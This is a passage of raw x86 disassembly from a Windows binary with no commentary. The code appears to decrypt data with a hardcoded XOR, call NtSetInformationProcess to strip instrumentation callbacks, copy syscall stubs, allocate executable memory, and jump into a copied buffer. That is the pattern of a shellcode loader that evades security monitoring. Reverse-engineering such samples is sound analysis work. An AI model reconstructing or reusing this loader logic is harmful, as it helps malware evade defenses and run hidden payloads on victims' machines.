mov dword [esi + 0x10], eax
mov eax, 0xf73c8412
mov ecx, 0x323ab040
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov eax, 0xbf4ef8b
mov ecx, 0xe77a7f56
mov dword [esi + 0x24], ecx
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x84]
mov dword [ebx + 4], eax
mov eax, dword [esi + 0x88]
mov dword [ebx], eax
mov eax, dword [esi + 0x7c]
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0x80]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x74]
mov dword [ebx + 0x14], eax
mov eax, dword [esi + 0x78]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x6c]
mov dword [esi + 0x2c], eax
mov dword [ebx + 0x1c], eax
mov dword [esi + 0xc], edi
mov eax, dword [esi + 0x70]
mov dword [esi + 0x28], eax
mov dword [ebx + 0x18], eax
mov eax, ebx
mov dword [esi + 0x4c], 0x47f
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x20]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0x20], xmm0
cmp byte [0x43944c], 0
je 0x40560a
push str.NtSetInformationProcess
push dword [0x43945c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405611
mov edi, eax
xor eax, eax
mov dword [esi + 0x4f4], eax
mov dword [esi + 0x4f0], eax
mov dword [esi + 0x4f8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ecx, ecx
mov dword [esi + 0x988], ecx
push 0xc
push ebx
push 0x28
push eax
call edi
sar eax, 0x1f
and eax, 0xfffffffe
jmp 0x405614
mov eax, 0xfffffffa
jmp 0x40564f
xor eax, eax
dec eax
mov dword [0x439448], eax
xor eax, eax
mov bl, 1
mov ecx, dword [0x439450]
mov dword [esi + 0x50], ecx
xor edi, edi
inc edi
lea ecx, [esi + 0x10]
push ecx
push dword [eax*4 + 0x43945c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40567d
mov eax, edi
test bl, 1
mov ebx, 0
jne 0x405629
mov eax, 0xfffffffc
mov dword [0x439448], eax
mov edx, dword [esi + 0x4c]
cmp edx, 0x10
jb 0x405669
inc edx
push edx
push dword [esi + 0x38]
call fcn.00402956
add esp, 8
mov eax, dword [esi + 0x980]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
cmp byte [eax], 0xb8
je 0x405688
cmp byte [eax + 5], 0xba
jne 0x405654
mov ecx, dword [0x439450]
movsd xmm0, qword [eax]
movq xmm1, qword [eax + 7]
movq qword [ecx + 7], xmm1
movsd qword [ecx], xmm0
xor eax, eax
mov dword [0x439448], eax
mov dword [esi + 0x988], eax
lea ecx, [esi + 0x8c]
lea edx, [esi + 0xc]
push 0x40
push 0x1000
push ecx
push eax
push edx
push 0xffffffffffffffff
call dword [esi + 0x50]
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 0x4c]
test eax, eax
je 0x405657
mov ecx, dword [esi + 0x48]
mov dword [esi + 0x50], edx
cmp edx, 0x10
jb 0x4056df
mov edx, dword [esi + 0x38]
jmp 0x4056e2
lea edx, [esi + 0x38]
push ecx
push edx
push eax
call fcn.00402e8c
add esp, 0xc
call dword [esi + 0xc]
mov edx, dword [esi + 0x50]
jmp 0x405657